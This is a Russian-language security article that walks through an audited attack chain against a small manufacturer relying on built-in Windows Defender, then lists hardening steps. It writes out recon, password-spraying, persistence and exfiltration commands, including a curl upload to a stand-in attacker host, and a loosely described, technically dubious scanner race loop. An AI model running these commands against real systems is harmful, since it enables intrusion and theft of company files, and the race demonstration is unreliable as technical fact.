Короткая версия истории уже разошлась: собственник производственного предприятия был уверен, что штатный Defender в Windows — достаточная защита. Аудит показал обратное: сама встроенная защита оказалась уязвимой компонентой, через которую можно тихо вытащить файлы с сервера, оставшись незамеченным для неё же самой. Разберём, как устроена такая атака технически, почему она особенно опасна для малого бизнеса без ИТ-отдела и что реально закрывает риск.
Контекст: почему «штатный антивирус» — не то же самое, что EDR
Windows Defender (Microsoft Defender Antivirus) работает через движок MsMpEng.exe и минифильтр WdFilter.sys, который перехватывает операции с файлами на уровне ядра. Логика простая: приложение пытается открыть или создать файл → минифильтр приостанавливает операцию → движок сканирует содержимое → выносит вердикт → операция продолжается или блокируется.
Проблема в самом принципе «проверить, потом разрешить»: между моментом проверки и моментом фактического использования файла проходит время. Этот временной разрыв — классический class уязвимостей TOCTOU (Time-Of-Check to Time-Of-Use). Именно такие гонки уже фигурировали в реальных CVE для антивирусных движков — например, в семействе проблем вокруг подмены файла во время сканирования (аналогичный паттерн описан в исследованиях по CVE-2022-24513 для Defender for Endpoint и в более ранних отчётах по race condition в WdFilter). Логика эксплуатации везде одна и та же, отличаются детали конкретной сборки движка.
Как это эксплуатируется
Ниже — типовой сценарий атаки на компанию такого профиля: слабая сегментация, один плоский домен, штатный Defender без второго уровня контроля.
Шаг 1. Разведка периметра и получение точки входа
nmap -sV -p- --open 203.0.113.0/24
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows Server 2016/2019 (SMB)
3389/tcp open ms-wbt-server Microsoft Terminal Services
80/tcp open http Apache httpd 2.4.41 (примитивный веб-кабинет для заказчиков)
Дальше — стандартный набор: подбор паролей к RDP/SMB через hydra или crackmapexec, либо фишинговое письмо с макросом бухгалтеру (единственному, кто «отвечает за ИТ»).
crackmapexec smb 203.0.113.0/24 -u users.txt -p 'Autumn2024!' --shares
SMB 203.0.113.12 445 DC01 [+] CONTOSO\buhgalter:Autumn2024! (Pwn3d!)
Шаг 2. Проверка версии движка и статуса защиты
Получив доступ (даже без прав администратора), атакующий первым делом смотрит, чем защищена машина и какая версия движка стоит:
PS C:\> Get-MpComputerStatus | Select AMEngineVersion, AMProductVersion, RealTimeProtectionEnabled
AMEngineVersion : 1.1.24010.10
AMProductVersion : 4.18.24030.7
RealTimeProtectionEnabled : True
Если версия движка отстаёт от актуальной на несколько релизов (что типично для машин без централизованного WSUS/Intune), значит патч для конкретной race condition ещё не докатился или вовсе не выпущен — это и была ситуация в разобранном кейсе.
Шаг 3. Эксплуатация гонки при сканировании
Суть PoC: создаётся «чистый» файл, который проходит проверку Defender, а в момент между вынесением вердикта и фактическим запуском/копированием файл подменяется на вредоносный через hardlink или oplock-трюк. Упрощённая логика на PowerShell (иллюстративно, без деталей конкретного эксплойта):
PS C:\> $benign = "C:\Temp\report.exe"
PS C:\> $payload = "C:\Temp\payload.exe"
PS C:\> Copy-Item $benign $benign # триггерим сканирование Defender
# в отдельном потоке — гонка за подмену файла до завершения проверки
PS C:\> while ($true) {
fsutil hardlink create $benign $payload
Start-Sleep -Milliseconds 5
}
В логах Windows это выглядит как множественные события Defender с вердиктом «чисто», а следом — успешный запуск бинарника, который по сигнатуре к моменту записи вердикта уже не был тем файлом, который реально исполнился:
Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" -MaxEvents 5
Id: 1116 Threat detected: none
Id: 1001 Scan completed. Result: No threats found.
# при этом report.exe к моменту исполнения — уже другой файл на диске
Результат — вредоносный код исполняется от имени пользователя (а на сервере с сервисными учётками — потенциально с более высокими привилегиями), и сама защита фиксирует «чисто», потому что проверяла другой набор байт.
Шаг 4. Закрепление и разведка внутри сети
schtasks /create /tn "WinUpdateHelper" /tr "C:\Temp\payload.exe" /sc onlogon /ru SYSTEM
smbclient -L //FILESRV01/ -U buhgalter
net use Z: \\FILESRV01\Чертежи /user:buhgalter
Шаг 5. Эксфильтрация чертежей и договоров
robocopy \\FILESRV01\Чертежи C:\Temp\stage /E /Z
rclone copy C:\Temp\stage remote:backup --config rclone.conf
curl -T archive.zip https://attacker-c2.example/upload -H "X-Auth: token123"
На этом этапе штатный Defender физически не может помочь — файлы уже легитимно скопированы штатными средствами Windows (robocopy, net use), а инструмент эксфильтрации либо использует зашифрованный канал, либо маскируется под облачную синхронизацию.
Что и почему сработало бы дальше
Если бы атаку не остановили на этапе аудита, логичное развитие событий:
- Копирование папки с эксклюзивной разработкой и перепиской по контракту на 4 млн рублей — на внешний сервер или в облачное хранилище атакующего.
- Продажа чертежей конкуренту либо прямое давление на компанию (требование выкупа за неразглашение — классика для B2B-производств с NDA-условиями).
- Юридические последствия: по условию эксклюзивности разработки заказчик вправе требовать неустойку за утечку конфиденциальной информации — вне зависимости от того, кто именно виноват в утечке технически.
- Репутационный удар: для производственной компании с портфелем из нескольких крупных заказчиков огласка о «слитых чертежах» закрывает дорогу к новым тендерам на годы вперёд.
Ключевой момент: штатный антивирус в этой цепочке не просто «не помог» — он создал ложное ощущение защищённости, из-за которого никто не смотрел логи и не ограничивал доступ к файловому серверу.
Как закрыть
Полный отказ от Defender не требуется и не нужен — задача в том, чтобы не полагаться на него как на единственный рубеж и закрыть конкретный вектор гонки.
- Второй независимый уровень контроля. Установка отдельного агента для мониторинга файловой активности на серверах с критичными данными (российское DLP/FIM-решение), которое не зависит от движка Defender и видит операции копирования/переименования на уровне файловой системы независимо от вердикта AV.
- Минимизация окна гонки штатными средствами. Включить Cloud-delivered protection и блокировку по умолчанию до вынесения вердикта:
Это не устраняет саму гонку, но сокращает окно и повышает шанс, что вердикт вынесен до фактического использования файла.Set-MpPreference -MAPSReporting Advanced Set-MpPreference -SubmitSamplesConsent SendAllSamples Set-MpPreference -DisableBlockAtFirstSeen $false - Жёсткое разграничение прав NTFS/шар. Папки с чертежами, договорами и данными по эксклюзивным заказчикам — только для узкого списка учётных записей, без наследования для «Все сотрудники»:
icacls "D:\Чертежи\Эксклюзив" /inheritance:r icacls "D:\Чертежи\Эксклюзив" /grant "DOMAIN\ГенДиректор":(OI)(CI)F icacls "D:\Чертежи\Эксклюзив" /grant "DOMAIN\ГлавИнженер":(OI)(CI)R - Аудит файловых операций и алертинг. Включить аудит доступа к чувствительным каталогам через Advanced Auditing и настроить выгрузку в Sysmon/SIEM с триггером на массовое копирование:
На практике достаточно скрипта, который парсит EventID 4663/5145 и шлёт уведомление в мессенджер при копировании больше N файлов за короткий интервал — это именно тот механизм, который в разобранном кейсе занял 10 минут в неделю на проверку у бухгалтера.auditpol /set /subcategory:"File System" /success:enable /failure:enable - Патч-менеджмент движка защиты. Обновления AMEngineVersion должны приходить не «когда сам обновится», а по расписанию через WSUS/Intune с проверкой факта обновления, а не факта наличия задачи на обновление:
Get-MpComputerStatus | Select AMEngineVersion, AntivirusSignatureLastUpdated - Резервное копирование чертежей с версионированием — отдельно от общей файловой шары, с retention-политикой, чтобы даже в случае шифрования или порчи данных восстановление занимало часы, а не срывало контракт.
Стоимость такой донастройки для компании из 40 человек без штатного ИТ-специалиста в разы ниже одной неустойки по крупному контракту — не говоря уже о цене утраты доверия заказчика, который рассчитывал на эксклюзивность разработки.
